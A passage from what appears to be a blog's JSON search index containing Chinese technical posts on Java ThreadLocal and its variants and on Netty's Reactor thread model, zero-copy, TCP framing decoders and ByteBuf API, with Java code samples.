类的目的是为每个线程单独维护一个变量的值，避免线程间对同一变量的竞争访问，适用于一个变量在每个线程中需要有自己独立的值的场合。\n如果把 ThreadLocal 声明为非静态，则在含有 ThreadLocal 变量的的每个实例中都会产生一个新对象，这是毫无意义的，只是增加了内存消耗。\nInheritableThreadLocal ThreadLocal 固然很好，但是子线程并不能取到父线程的 ThreadLocal 的变量：\n1 private static ThreadLocal\u0026lt;Integer\u0026gt; integerThreadLocal = new ThreadLocal\u0026lt;\u0026gt;(); 2 3 public static void main(String[] args) throws InterruptedException { 4 integerThreadLocal.set(1001); // father 5 6 new Thread(() -\u0026gt; System.out.println(Thread.currentThread().getName() + \u0026#34;:\u0026#34; 7 + integerThreadLocal.get())).start(); 8 } 9//output: 10Thread-0:null 使用 ThreadLocal 不能继承父线程的 ThreadLocal 的内容，而使用 InheritableThreadLocal 时可以做到的，这就可以很好的在父子线程之间传递数据了。inheritableThreadLocal 继承了 ThreadLocal。\n1private static InheritableThreadLocal\u0026lt;Integer\u0026gt; inheritableThreadLocal = 2 new InheritableThreadLocal\u0026lt;\u0026gt;(); 3 public static void main(String[] args) throws InterruptedException { 4 5 inheritableThreadLocal.set(1002); // father 6 new Thread(() -\u0026gt; System.out.println(Thread.currentThread().getName() + \u0026#34;:\u0026#34; 7 + inheritableThreadLocal.get())).start(); 8 } 9//output: 10Thread-0:1002 这是如何实现的呢？实现父子线程间的局部变量共享需要追溯到 Thread 对象的构造方法：\n1 private Thread(ThreadGroup g, Runnable target, String name, 2 long stackSize, AccessControlContext acc, 3 boolean inheritThreadLocals) { 4 if (name == null) { 5 throw new NullPointerException(\u0026#34;name cannot be null\u0026#34;); 6 } 7 8 ... 9 10 this.group = g; 11 this.daemon = parent.isDaemon(); 12 this.priority = parent.getPriority(); 13 if (security == null || isCCLOverridden(parent.getClass())) 14 this.contextClassLoader = parent.getContextClassLoader(); 15 else 16 this.contextClassLoader = parent.contextClassLoader; 17 this.inheritedAccessControlContext = 18 acc != null ? acc : AccessController.getContext(); 19 this.target = target; 20 setPriority(priority); 21 if (inheritThreadLocals \u0026amp;\u0026amp; parent.inheritableThreadLocals != null) 22 this.inheritableThreadLocals = 23 ThreadLocal.createInheritedMap(parent.inheritableThreadLocals); 24 /* Stash the specified stack size in case the VM cares */ 25 this.stackSize = stackSize; 26 27 /* Set thread ID */ 28 this.tid = nextThreadID(); 29 30 ... 31 } 其他 ThreadLocal 实现 Netty 的 FastThreadLocal ：\n对 JDK 中 ThreadLocal 进行优化，由于 ThreadLocal 底层存储数据是一个 ThreadLocalMap 结构，是一个数组结构，通过 threadLocalHashCode 查找在数组中的元素 Entry , 当 hash 冲突时，继续向前检测查找，所以当 Hash 冲突时，检索的效率就会降低。而 FastThreadLocal 则正是处理了这个问题，使其时间复杂度一直为 O(1)。可参考：这里\nTransmittableThreadLocal：\nTransmittableThreadLocal 是 Alibaba 开源的、用于解决 在使用线程池等会缓存线程的组件情况下传递 ThreadLocal 问题的 InheritableThreadLocal 扩展。\n“\nTransmittableThreadLocal(TTL)：在使用线程池等会池化复用线程的执行组件情况下，提供ThreadLocal值的传递功能，解决异步执行时上下文传递的问题。一个Java标准库本应为框架/中间件设施开发提供的标配能力，本库功能聚焦 \u0026amp; 0 依赖，支持Java 17/16/15/14/13/12/11/10/9/8/7/6。\n”\nJDK的 InheritableThreadLocal 类可以完成父线程到子线程的值传递。但对于使用线程池等会池化复用线程的执行组件的情况，线程由线程池创建好，并且线程是池化起来反复使用的；这时父子线程关系的ThreadLocal值传递已经没有意义，应用需要的实际上是把 任务提交给线程池时的ThreadLocal值传递到 任务执行时。\n内存泄露 ThreadLocalMap 使用 ThreadLocal 的弱引用作为 key，如果一个 ThreadLocal 没有外部强引用来引用它，那么系统 GC 的时候，这个 ThreadLocal 势必会被回收，这样一来，ThreadLocalMap 中就会出现 key 为 null 的 Entry，就没有办法访问这些 key 为 null 的 Entry 的 value ，如果当前线程再迟迟不结束的话，这些 key 为 null 的 Entry 的 value 就会一直存在一条强引用链：\nThread Ref -\u0026gt; Thread -\u0026gt; ThreaLocalMap -\u0026gt; Entry -\u0026gt;value\n永远无法回收，可能造成内存泄漏。\n简单来说，就是因为 ThreadLocalMap 的 key 是弱引用，当 ThreadLocal 外部没有强引用时，就被回收，此时会出现 ThreadLocalMap\u0026lt;null,value\u0026gt; 的情况，而线程没有结束的情况下，导致这个 null 对应的 value 一直无法回收，可能导致泄漏。\nThreadLocal 内存泄漏的根源是：由于 ThreadLocalMap 的生命周期跟 Thread 一样长，如果没有手动删除对应 key 就会导致内存泄漏，而不是因为弱引用。\n虽然通过上文的介绍，ThreadLocalMap 通过 replaceStaleEntry 以及启发式清除 、 探测式清除 等方法很大程度上解决了潜在的内存泄露问题，但对于开发者最好还是养成习惯。应该在我们不使用的时候，主动调用 remove 方法进行清理。\nSpring 相关 spring 框架内部很多地方使用 ThreadLocal 来辅助实现，如事务管理。但是 Spring 根本就没有对 bean 的多线程安全问题做出任何保证与措施。\n对于每个 bean 的线程安全问题，根本原因是每个 bean 自身的设计。 不要在 bean 中声明任何有状态的实例变量或类变量，如果必须如此，那么就使用 ThreadLocal 把变量变为线程私有的， 如果 bean 的实例变量或类变量需要在多个线程之间共享，那么就只能使用 synchronized、lock、CAS 等这些实现线程同步的方法了。 最佳实践 ThreadLocal 并不解决多线程 共享 变量的问题 如果要同时满足变量在线程间的隔离与方法间的共享，ThreadLocal 再合适不过 保存线程上下文信息，在任意需要的地方可以获取 线程安全的，避免某些情况需要考虑线程安全必须同步带来的性能损失 应该在我们不使用的时候，主动调用 remove 方法进行清理。 参考 https://github.com/Snailclimb/JavaGuide/blob/main/docs/java/concurrent/threadlocal.md https://www.cnblogs.com/crazymakercircle/p/14491965.html https://juejin.cn/post/6844903860792721415 https://www.cnblogs.com/zhjh256/p/11704463.html https://yloopdaed.icu/2020/12/13/threadlocal2/ https://github.com/alibaba/transmittable-thread-local https://www.cnblogs.com/stevenczp/p/7667719.html ","date":"2022-03-28T09:14:36Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-03-28-zai-liao-liao-threadlocal/cover.jpg","permalink":"/p/2022-03-28-zai-liao-liao-threadlocal/","title":"再聊聊ThreadLocal"},{"content":"为什么还要用 Netty 既然 JAVA NIO / JAVA AIO 已经实现了各主流操作系统的底层支持，那么为什么现在主流的 JAVA NIO 技术会是 Netty 和 MINA 呢？答案很简单：因为更好用，这里举几个方面的例子：\n虽然 JAVA NIO 和 JAVA AIO 框架提供了 多路复用 IO/异步 IO 的支持，但是并没有提供上层“信息格式”的良好封装。例如前两者并没有提供针对 Protocol Buffer、JSON 这些信息格式的封装，但是 Netty 框架提供了这些数据格式封装（基于责任链模式的编码和解码功能） 要编写一个可靠的、易维护的、高性能的（注意它们的排序） NIO/AIO 服务器应用。除了框架本身要兼容实现各类操作系统的实现外。更重要的是它应该还要处理 架构 整体架构\n逻辑架构\n线程模型 在高性能的 I/O 设计中，有两个著名的模型：Reactor 模型和 Proactor 模型，其中 Reactor 模型用于同步 I/O，而 Proactor 模型运用于异步 I/O 操作。实际上 Netty 线程模型就是 Reactor 模型的一个实现。\n什么是 Reactor “\nThe reactor design pattern is an event handling pattern for handling service requests delivered concurrently to a service handler by one or more inputs. The service handler then demultiplexes the incoming requests and dispatches them synchronously to the associated request handlers.\n”\nReactor 设计模式是一种事件处理模式，用于处理由一个或多个输入同时传递到服务处理程序的服务请求。然后，服务处理程序对传入的请求进行解复用，并将它们同步分派给关联的请求处理程序。\n以上来自 wiki, 我们可以看到以下重点。\n事件驱动（event handling） 可以处理一个或多个输入源（one or more inputs） 通过 Service Handler 同步的将输入事件（Event）采用多路复用分发给相应的 Request Handler（多个）处理 根据 Doug Lea 在 《Scalable IO in Java 》中的介绍，Reacotr 模型主要分为三个角色：\nReactor：把 IO 事件分配给对应的 handler 处理 Acceptor：处理客户端连接事件 Handler：处理非阻塞的任务 Reactor 处理请求的流程：\n同步的等待多个事件源到达（采用 select() 实现） 将事件多路分解以及分配相应的事件服务进行处理，这个分派采用 server 集中处理（dispatch） 分解的事件以及对应的事件服务应用从分派服务中分离出去（handler） 为什么使用 Reactor？\n传统阻塞 IO 模型的不足\n每个连接都需要独立线程处理，当并发数大时，创建线程数多，占用资源 采用阻塞 IO 模型，连接建立后，若当前线程没有数据可读，线程会阻塞在读操作上，造成资源浪费 针对传统阻塞 IO 模型的两个问题，可以采用如下的方案\n基于池化思想，避免为每个连接创建线程，连接完成后将业务处理交给线程池处理 基于 IO 复用模型，多个连接共用同一个阻塞对象，不用等待所有的连接。遍历到有新数据可以处理时，操作系统会通知程序，线程跳出阻塞状态，进行业务逻辑处理 Reactor 线程模型分类\n根据 Reactor 的数量和处理资源的线程数量的不同，分为三类：\n单 Reactor 单线程模型 单 Reactor 多线程模型 多 Reactor 多线程模型 单 Reactor 单线程模型 消息处理流程：\nReactor 对象通过 select 监控连接事件，收到事件后通过 dispatch 进行转发。 如果是连接建立的事件，则由 acceptor 接受连接，并创建 handler 处理后续事件。 如果不是建立连接事件，则 Reactor 会分发调用 Handler 来响应。 handler 会完成 read-\u0026gt;业务处理-\u0026gt;send 的完整业务流程。 该线程模型的不足\n仅用一个线程处理请求，对于多核资源机器来说是有点浪费的 当处理读写任务的线程负载过高后，处理速度下降，事件会堆积，严重的会超时，可能导致客户端重新发送请求，性能越来越差 单线程也会有可靠性的问题 Redis 是由 C 语言实现的，它采用的正是「单 Reactor 单进程」的方案，因为 Redis 业务处理主要是在内存中完成，操作的速度是很快的，性能瓶颈不在 CPU 上，所以 Redis 对于命令的处理是单进程的方案。\n对于单线程的 Redis 来说，基于内存，且命令操作时间复杂度低，因此读写速率是非常快的。\n针对上面的种种不足，就有了下面的线程模型\n单 Reactor 多线程模型 消息处理流程：\nReactor 对象通过 Select 监控客户端请求事件，收到事件后通过 dispatch 进行分发。 如果是建立连接请求事件，则由 acceptor 通过 accept 处理连接请求，然后创建一个 Handler 对象处理连接完成后续的各种事件。 如果不是建立连接事件，则 Reactor 会分发调用连接对应的 Handler 来响应。 Handler 只负责响应事件，不做具体业务处理，通过 Read 读取数据后，会分发给后面的 Worker 线程池进行业务处理。 Worker 线程池会分配独立的线程完成真正的业务处理，然后将响应结果发给 Handler 进行处理。 Handler 收到响应结果后通过 send 将响应结果返回给 Client。 相对于第一种模型来说，在处理业务逻辑，也就是获取到 IO 的读写事件之后，交由线程池来处理，handler 收到响应后通过 send 将响应结果返回给客户端。这样可以降低 Reactor 的性能开销，从而更专注的做事件分发工作了，提升整个应用的吞吐。\n但是这个模型存在的问题：\n多线程数据共享和访问比较复杂。如果子线程完成业务处理后，把结果传递给主线程 Reactor 进行发送，就会涉及共享数据的互斥和保护机制。 Reactor 承担所有事件的监听和响应，只在主线程中运行，可能会存在性能问题。例如并发百万客户端连接，或者服务端需要对客户端握手进行安全认证，但是认证本身非常损耗性能。 为了解决性能问题，产生了第三种主从 Reactor 多线程模型。\n主从 Reactor 多线程模型 比起第二种模型，它是将 Reactor 分成两部分：\nmainReactor 负责监听 server socket，用来处理网络 IO 连接建立操作，将建立的 socketChannel 指定注册给 subReactor。 subReactor 主要做和建立起来的 socket 做数据交互和事件业务处理操作。通常，subReactor 个数上可与 CPU 个数等同。 Nginx、Memcached 和 Netty 都是采用这种实现。\n消息处理流程：\n从主线程池中随机选择一个 Reactor 线程作为 acceptor 线程，用于绑定监听端口，接收客户端连接 acceptor 线程接收客户端连接请求之后创建新的 SocketChannel，将其注册到主线程池的其它 Reactor 线程上，由其负责接入认证、IP 黑白名单过滤、握手等操作 步骤 2 完成之后，业务层的链路正式建立，将 SocketChannel 从主线程池的 Reactor 线程的多路复用器上摘除，重新注册到 Sub 线程池的线程上，并创建一个 Handler 用于处理各种连接事件 当有新的事件发生时，SubReactor 会调用连接对应的 Handler 进行响应 Handler 通过 Read 读取数据后，会分发给后面的 Worker 线程池进行业务处理 Worker 线程池会分配独立的线程完成真正的业务处理，如何将响应结果发给 Handler 进行处理 Handler 收到响应结果后通过 Send 将响应结果返回给 Client Reactor 三种模式形象比喻\n餐厅一般有接待员和服务员，接待员负责在门口接待顾客，服务员负责全程服务顾客\nReactor 的三种线程模型可以用接待员和服务员类比\n单 Reactor 单线程模型：接待员和服务员是同一个人，一直为顾客服务。客流量较少适合 单 Reactor 多线程模型：一个接待员，多个服务员。客流量大，一个人忙不过来，由专门的接待员在门口接待顾客，然后安排好桌子后，由一个服务员一直服务，一般每个服务员负责一片中的几张桌子 多 Reactor 多线程模型：多个接待员，多个服务员。这种就是客流量太大了，一个接待员忙不过来了 什么是 Proactor Proactor 正是采用了异步 I/O 技术，所以被称为异步网络模型。\n无论是 Reactor，还是 Proactor，都是一种基于「事件分发」的网络编程模式，区别在于 Reactor 模式是基于「待完成」的 I/O 事件，而 Proactor 模式则是基于「已完成」的 I/O 事件。\n在 Linux 下的异步 I/O 是不完善的， aio 系列函数是由 POSIX 定义的异步操作接口，不是真正的操作系统级别支持的，而是在用户空间模拟出来的异步，并且仅仅支持基于本地文件的 aio 异步操作，网络编程中的 socket 是不支持的，这也使得基于 Linux 的高性能网络程序都是使用 Reactor 方案。\n而 Windows 里实现了一套完整的支持 socket 的异步编程接口，这套接口就是 IOCP，是由操作系统级别实现的异步 I/O，真正意义上异步 I/O，因此在 Windows 里实现高性能网络程序可以使用效率更高的 Proactor 方案。\n线程模型的应用 Redis\nRedis 是典型的单 Reactor 单线程类型。Redis 主要通过 aeMain、aeProcessEvents，以及 aeCreateFileEvent 三个关键函数来实现 Reactor 模型，对源码 (Linux 系统）的整理如下：\n源码文件 函数 被调用点 主要功能 ae.c/ae.h aeMain() server.c 的 main() 事件捕获，分发和循环处理 ae.c/ae.h aeProcessEvents() ae.c 的 aeMain() 根据事件类型进行响应的处理 ae.c/ae.h aeApiPoll() ae.c 的 aeProcessEvents() 调用操作系统的 IO 多路方法 Linux 内核文件 epoll_wait() ae.c 的 aeApiPoll() 检测并返回内核中网络 IO 事件 nginx\nnginx 是多进程模型，master 进程不处理网络 IO，每个 Wroker 进程是一个独立的单 Reacotr 单线程模型。详情参考官方文档：Inside NGINX: Designed for Performance \u0026amp; Scalability\nNetty\nNetty 的线程模型主要是基于 Reactor 模型，但是可以灵活配置，单 reactor 单线程，单 reactor 多线程，和多 reactor 多线程模型。\nkafka\nkafka 采用的是主从 Reactor 多线程模型，因为 Kafka 主要与磁盘 IO 交互，因此真正的读写数据不是从 Reactor 处理的，而是有一个 worker 线程池，专门处理磁盘 IO，从 Reactor 负责网络 IO，然后把任务交给 worker 线程池处理。\nNetty 线程模型 上文说 Netty 就是采用 Reactor 模型实现的。下面是 Netty 使用中很常见的一段代码\n1public class Server { 2 public static void main(String[] args) throws Exception { 3 EventLoopGroup bossGroup = new NioEventLoopGroup(1); 4 EventLoopGroup workerGroup = new NioEventLoopGroup(); 5 try { 6 ServerBootstrap b = new ServerBootstrap(); 7 b.group(bossGroup, workerGroup) 8 .channel(NioServerSocketChannel.class) 9 .childOption(ChannelOption.TCP_NODELAY, true) 10 .childAttr(AttributeKey.newInstance(\u0026#34;childAttr\u0026#34;), \u0026#34;childAttrValue\u0026#34;) 11 .handler(new ServerHandler()) 12 .childHandler(new ChannelInitializer\u0026lt;SocketChannel\u0026gt;() { 13 @Override 14 public void initChannel(SocketChannel ch) { 15 } 16 }); 17 ChannelFuture f = b.bind(8888).sync(); 18 f.channel().closeFuture().sync(); 19 } finally { 20 bossGroup.shutdownGracefully(); 21 workerGroup.shutdownGracefully(); 22 } 23 } 24} boss 线程池作用：\n接收客户端的连接，初始化 Channel 参数。 将链路状态变更时间通知给 ChannelPipeline。 worker 线程池作用：\n异步读取通信对端的数据报，发送读事件到 ChannelPipeline。 异步发送消息到通信对端，调用 ChannelPipeline 的消息发送接口。 执行系统调用 Task。 执行定时任务 Task。 通过配置 boss 和 worker 线程池的线程个数以及是否共享线程池等方式，Netty 的线程模型可以在以上三种 Reactor 模型之间进行切换。\nnetty 通过 Reactor 模型基于多路复用器接收并处理用户请求，内部实现了两个线程池，boss 线程池和 work 线程池：\n其中 boss 线程池的线程负责处理请求的 accept 事件，当接收到 accept 事件的请求时，把对应的 socket 封装到一个 NioSocketChannel 中，并交给 worker 线程池 其中 worker 线程池负责请求的 read 和 write 事件 零拷贝 Netty 的接收和发送 ByteBuffer 采用 DIRECT BUFFERS，使用堆外内存直接读写。\nNetty 中的零拷贝和传统 Linux 的零拷贝不太一样。Netty 中的零拷贝技术除了操作系统级别的功能封装，更多的是面向用户态的数据操作优化，主要体现在以下 5 个方面：\n堆外内存，避免 JVM 堆内存到堆外内存的数据拷贝。 CompositeByteBuf 类，可以组合多个 Buffer 对象合并成一个逻辑上的对象，避免通过传统内存拷贝的方式将几个 Buffer 合并成一个大的 Buffer。 通过 Unpooled.wrappedBuffer 可以将 byte 数组包装成 ByteBuf 对象，包装过程中不会产生内存拷贝。 ByteBuf.slice 操作与 Unpooled.wrappedBuffer 相反，slice 操作可以将一个 ByteBuf 对象切分成多个 ByteBuf 对象，切分过程中不会产生内存拷贝，底层共享一个 byte 数组的存储空间。 Netty 使用 FileRegion 实现文件传输，FileRegion 底层封装了 FileChannel#transferTo() 方法，可以将文件缓冲区的数据直接传输到目标 Channel，避免内核缓冲区和用户态缓冲区之间的数据拷贝，这属于操作系统级别的零拷贝。 堆外内存\n如果在 JVM 内部执行 I/O 操作时，必须将数据拷贝到堆外内存，才能执行系统调用。这是所有 VM 语言都会存在的问题。那么为什么操作系统不能直接使用 JVM 堆内存进行 I/O 的读写呢？主要有两点原因：第一，操作系统并不感知 JVM 的堆内存，而且 JVM 的内存布局与操作系统所分配的是不一样的，操作系统并不会按照 JVM 的行为来读写数据。第二，同一个对象的内存地址随着 JVM GC 的执行可能会随时发生变化，例如 JVM GC 的过程中会通过压缩来减少内存碎片，这就涉及对象移动的问题了。\nNetty 在进行 I/O 操作时都是使用的堆外内存，可以避免数据从 JVM 堆内存到堆外内存的拷贝。\nNIO epoll bug JDK 的 NIO 类库有一个 epoll 死循环 bug，它会导致 Selector 空轮询，IO 线程 CPU 达到 100%，严重影响系统运行。\nnetty 从 api 使用层面对该 bug 进行了规避解决， 重建 Selector。当发生 epoll bug，则创建一个新的 Selector，将出现 bug 的 Selector 上的 channel 重新注册到新的 Selector 上，关闭 bug 的 Selector，使用新的 Selector 进行替换。\n具体策略：\n对 Selector 的 select 操作周期进行统计。 每完成一次空的 select 操作进行一次计数。 在某个周期内如果连续 N 次空轮询，则说明触发了 JDK NIO 的 epoll 死循环 bug。 创建新的 Selector，将出现 bug 的 Selector 上的 channel 重新注册到新的 Selector 上。 关闭 bug 的 Selector，使用新的 Selector 进行替换。 如果发生 epoll 死循环 bug，那么当前 I/O 线程将停下来进行 bug 的修复，然后再继续进行逻辑处理，bug 的修复是非阻塞操作，处理速度非常快；而且 netty 线程池中一般设置有多个 I/O 线程，其中某个 I/O 线程中的 Selector 触发 bug 并不会影响其他 I/O 线程运行，所以 netty 通过这种策略，在几乎不影响性能的情况下从 api 使用层面规避解决了该 bug。\n粘包拆包 TCP 层可能会出现当次接收到的数据是不完整数据的情况。出现粘包可能的原因有：\n发送方每次写入数据 \u0026lt; 套接字缓冲区大小； 接收方读取套接字缓冲区数据不够及时。 出现半包的可能原因有：\n发送方每次写入数据 \u0026gt; 套接字缓冲区大小； 发送的数据大于协议 MTU，所以必须要拆包。 解决问题肯定不是在 4 层来做而是在应用层，通过定义通信协议来解决粘包和拆包的问题。发送方 和 接收方约定某个规则：\n当发生粘包的时候通过某种约定来拆包； 如果在拆包，通过某种约定来将数据组成一个完整的包处理。 业界常用解决方案 定长协议\n指定一个报文具有固定长度。比如约定一个报文的长度是 5 字节，那么：报文：1234，只有 4 字节，但是还差一个怎么办呢，不足部分用空格补齐。就变为：1234 。如果不补齐空格，那么就会读到下一个报文的字节来填充上一个报文直到补齐为止，这样粘包了。定长协议的优点是使用简单，缺点很明显：浪费带宽。\nNetty 中提供了 FixedLengthFrameDecoder ，支持把固定的长度的字节数当做一个完整的消息进行解码。\n特殊字符分割协议\n很好理解，在每一个你认为是一个完整的包的尾部添加指定的特殊字符，比如：\\n，\\r 等等。需要注意的是：约定的特殊字符要保证唯一性，不能出现在报文的正文中，否则就将正文一分为二了。\nNetty 中提供了 DelimiterBasedFrameDecoder 根据特殊字符进行解码，LineBasedFrameDecoder默认以换行符作为分隔符。\n变长协议\n变长协议的核心就是：将消息分为消息头和消息体，消息头中标识当前完整的消息体长度。\n发送方在发送数据之前先获取数据的二进制字节大小，然后在消息体前面添加消息大小； 接收方在解析消息时先获取消息大小，之后必须读到该大小的字节数才认为是完整的消息。 Netty 中提供了 LengthFieldBasedFrameDecoder ，通过LengthFieldPrepender 来给实际的消息体添加 length 字段。\nNetty 提供的能力 为了解决网络数据流的拆包粘包问题，Netty 为我们内置了如下的解码器：\nByteToMessageDecoder：如果想实现自己的半包解码器，实现该类； MessageToMessageDecoder：一般作为二次解码器，当我们在 ByteToMessageDecoder 将一个 bytes 数组转换成一个 java 对象的时候，我们可能还需要将这个对象进行二次解码成其他对象，我们就可以继承这个类； LineBasedFrameDecoder：通过在包尾添加回车换行符 \\r\\n 来区分整包消息； StringDecoder：字符串解码器； DelimiterBasedFrameDecoder：特殊字符作为分隔符来区分整包消息； FixedLengthFrameDecoder：报文大小固定长度，不够空格补全； ProtoBufVarint32FrameDecoder：通过 Protobuf 解码器来区分整包消息； ProtobufDecoder：Protobuf 解码器； LengthFieldBasedFrameDecoder：指定长度来标识整包消息，通过在包头指定整包长度来约定包长。 Netty 还内置了如下的编码器：\nProtobufEncoder：Protobuf 编码器； MessageToByteEncoder：将 Java 对象编码成 ByteBuf； MessageToMessageEncoder：如果不想将 Java 对象编码成 ByteBuf，而是自定义类就继承这个； LengthFieldPrepender：LengthFieldPrepender 是一个非常实用的工具类，如果我们在发送消息的时候采用的是：消息长度字段+原始消息的形式，那么我们就可以使用 LengthFieldPrepender。这是因为 LengthFieldPrepender 可以将待发送消息的长度（二进制字节长度）写到 ByteBuf 的前两个字节。 UDP 是否会发生粘包或拆包的现象呢？ 答案是不会。\nUDP 是基于报文发送的，从 UDP 的帧结构可以看出，在 UDP 首部采用了 16bit 来指示 UDP 数据报文的长度，因此在应用层能很好的将不同的数据报文区分开，从而避免粘包和拆包的问题。\n而TCP 是基于字节流的，虽然应用层和 TCP 传输层之间的数据交互是大小不等的数据块，但是 TCP 把这些数据块仅仅看成一连串无结构的字节流，没有边界；另外从 TCP 的帧结构也可以看出，在 TCP 的首部没有表示数据长度的字段，基于上面两点，在使用 TCP 传输数据时，才有粘包或者拆包现象发生的可能。\nAPI ByteBuf ByteBuf 是一个字节容器，内部是一个字节数组。从逻辑上来分，字节容器内部，可以分为四个部分：\n第一个部分是已经丢弃的字节，这部分数据是无效的； 第二部分是可读字节，这部分数据是 ByteBuf 的主体数据， 从 ByteBuf 里面读取的数据都来自这一部分； 第三部分的数据是可写字节，所有写到 ByteBuf 的数据都会写到这一段。 第四部分的字节，表示的是该 ByteBuf 最多还能扩容的大小。 四个部分的逻辑功能，如下图所示：\nByteBuf 通过三个整型的指针（index），有效地区分可读数据和可写数据，使得读写之间相互没有冲突。\n这三个指针，分别是：\nreaderIndex（读指针） writerIndex（写指针） maxCapacity（最大容量） 这三个指针，是三个 int 型的成员属性，定义在 AbstractByteBuf 抽象基类中。三个指针的代码截图，如下：\nreaderIndex 读指针\n指示读取的起始位置。\n每读取一个字节，readerIndex 自增 1 。一旦 readerIndex 与 writerIndex 相等，ByteBuf 不可读 。\nwriterIndex 写指针\n指示写入的起始位置。\n每写一个字节，writerIndex 自增 1。一旦增加到 writerIndex 与 capacity（） 容量相等，表示 ByteBuf 已经不可写了 。\n“\ncapacity（）容量不是一个成员属性，是一个成员方法。表示 ByteBuf 内部的总容量。注意，这个不是最大容量。\n”\nmaxCapacity 最大容量\n指示可以 ByteBuf 扩容的最大容量。\n当向 ByteBuf 写数据的时候，如果容量不足，可以进行扩容。\n扩容的最大限度，直到 capacity（） 扩容到 maxCapacity 为止，超过 maxCapacity 就会报错。\n“\ncapacity() 扩容的操作，是底层自动进行的。\n”\n从三个维度三大系列，介绍 ByteBuf 的常用 API 方法。\n第一组：容量系列\n方法 一：capacity()\n表示 ByteBuf 的容量，包括丢弃的字节数、可读字节数、可写字节数。\n方法二：maxCapacity()\n表示 ByteBuf 底层最大能够占用的最大字节数。当向 ByteBuf 中写数据的时候，如果发现容量不足，则进行扩容，直到扩容到 maxCapacity。\n第二组：写入系列\n方法一：isWritable()\n表示 ByteBuf 是否可写。如果 capacity（） 容量大于 writerIndex 指针的位置 ，则表示可写。否则为不可写。\nisWritable() 的源码，也是很简单的。具体如下：\n1public boolean isWritable() { 2 3 return this.capacity() \u0026gt; this.writerIndex; 4 5} “\n注意：如果 isWritable() 返回 false，并不代表不能往 ByteBuf 中写数据了。如果 Netty 发现往 ByteBuf 中写数据写不进去的话，会自动扩容 ByteBuf。\n”\n方法二：writableBytes()\n返回表示 ByteBuf 当前可写入的字节数，它的值等于 capacity（）- writerIndex。\n如下图所示：\n方法三：maxWritableBytes()\n返回可写的最大字节数，它的值等于 maxCapacity-writerIndex 。\n方法四：writeBytes(byte[] src)\n把字节数组 src 里面的数据全部写到 ByteBuf。\n这个是最为常用的一个方法。\n方法五：writeTYPE(TYPE value） 基础类型写入方法\n基础数据类型的写入，包含了 8 大基础类型的写入。\n具体如下：writeByte()、 writeBoolean()、writeChar()、writeShort()、writeInt()、writeLong()、writeFloat()、writeDouble() ，向 ByteBuf 写入基础类型的数据。\n方法六：setType(TYPE value）基础类型写入，不改变指针值\n基础数据类型的写入，包含了 8 大基础类型的写入。\n具体如下：setByte()、 setBoolean()、setChar()、setShort()、setInt()、setLong()、setFloat()、setDouble() ，向 ByteBuf 写入基础类型的数据。\n“\nsetType 系列与 writeType 系列的不同：\n”\nsetType 系列 不会 改变写指针 writerIndex ；\nwriteTYPE 系列 会 改变写指针 writerIndex 的值。\n方法七：markWriterIndex() 与 resetWriterIndex()\n这里两个方法一起介绍。\n前一个方法，表示把当前的写指针 writerIndex 保存在 markedWriterIndex 属性中 后一个方法，表示把当前的写指针 writerIndex 恢复到之前保存的 markedWriterIndex 值 。\n标记 markedWriterIndex 属性， 定义在 AbstractByteBuf 抽象基类中。\n截图如下：\n第三组：读取系列\n方法一：isReadable()\n表示 ByteBuf 是否可读。如果 writerIndex 指针的值大于 readerIndex 指针的值 ，则表示可读。否则为不可写。\nisReadable() 的源码，也是很简单的。具体如下：\n1public boolean isReadable() { 2 3 return this.writerIndex \u0026gt; this.readerIndex; 4 5} 方法二：readableBytes()\n返回表示 ByteBuf 当前可读取的字节数，它的值等于 writerIndex - readerIndex 。\n如下图所示：\n方法三：readBytes(byte[] dst)\n把 ByteBuf 里面的数据全部读取到 dst 字节数组中，这里 dst 字节数组的大小通常等于 readableBytes() 。这个方法，也是最为常用的一个方法。\n方法四：readType(） 基础类型读取\n基础数据类型的读取，可以读取 8 大基础类型。\n具体如下：readByte()、readBoolean()、readChar()、readShort()、readInt()、readLong()、readFloat()、readDouble() ，从 ByteBuf 读取对应的基础类型的数据。\n方法五：getTYPE(TYPE value）基础类型读取，不改变指针值\n基础数据类型的读取，可以读取 8 大基础类型。\n具体如下：getByte()、 getBoolean()、getChar()、getShort()、getInt()、getLong()、getFloat()、getDouble() ，从 ByteBuf 读取对应的基础类型的数据。\n“\ngetType 系列与 readTYPE 系列的不同：\n”\ngetType 系列 不会 改变读指针 readerIndex ；\nreadTYPE 系列 会 改变读指针 readerIndex 的值。\n方法六：markReaderIndex() 与 resetReaderIndex()\n前一个方法，表示把当前的读指针 ReaderIndex 保存在 markedReaderIndex 属性中。\n后一个方法，表示把当前的读指针 ReaderIndex 恢复到之前保存的 markedReaderIndex 值 。\n标记 markedReaderIndex 属性， 定义在 AbstractByteBuf 抽象基类中。\n截图如下：\npipeline ChannelPipeline 和 ChannelHandler 机制类似于 servlet 和 Filter 过滤器，这类拦截器实际上是职责链模式的一种变形，主要为了方便事件的拦截和用户业务逻辑的定制。 ChannelPipeline 实际上是一个 ChannelHandler 的容器，内部维护了一个 ChnnelHandler 的链表和迭代器，可以方便地实现 ChannelHandler 查找、添加、替换和删除。 参考 https://pdai.tech/md/java/io/java-io-aio.html https://mp.weixin.qq.com/s?__biz=MzI3Njk5ODg4OQ==\u0026amp;mid=2247484273\u0026amp;idx=1\u0026amp;sn=a63b992284766a920e0c15ed821e5b02\u0026amp;chksm=eb6dbcf7dc1a35e176706dc3b54f3e4e6fbd53c552868e0162fe8c693ac9b42255d591c5d38a\u0026amp;token=586356569\u0026amp;lang=zh_CN#rd http://yuanjava.cn/archives/-zhong-bang-tui-jian--yi-wen-pou-xi-reactormo-xing https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/ https://www.artima.com/articles/comparing-two-high-performance-io-design-patterns http://lse.sourceforge.net/io/aio.html http://blogxin.cn/2017/03/20/Netty-epollbug/ https://edgar615.github.io/netty-architecture.html https://cloud.tencent.com/developer/article/1754078 https://www.cnblogs.com/rickiyang/p/12904552.html https://www.cnblogs.com/crazymakercircle/p/9979897.html https://learn.lianglianglee.com/专栏/Netty 核心原理剖析与 RPC 实践-完/16 IO 加速：与众不同的 Netty 零拷贝技术.md ","date":"2022-03-21T07:13:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-03-21-zai-liao-liao-netty/cover.jpg","permalink":"/p/2022-03-21-zai-liao-liao-netty/","title":"再聊聊Netty"},{"content":"前知识 文件描述符 文件描述符（file descriptor，简称 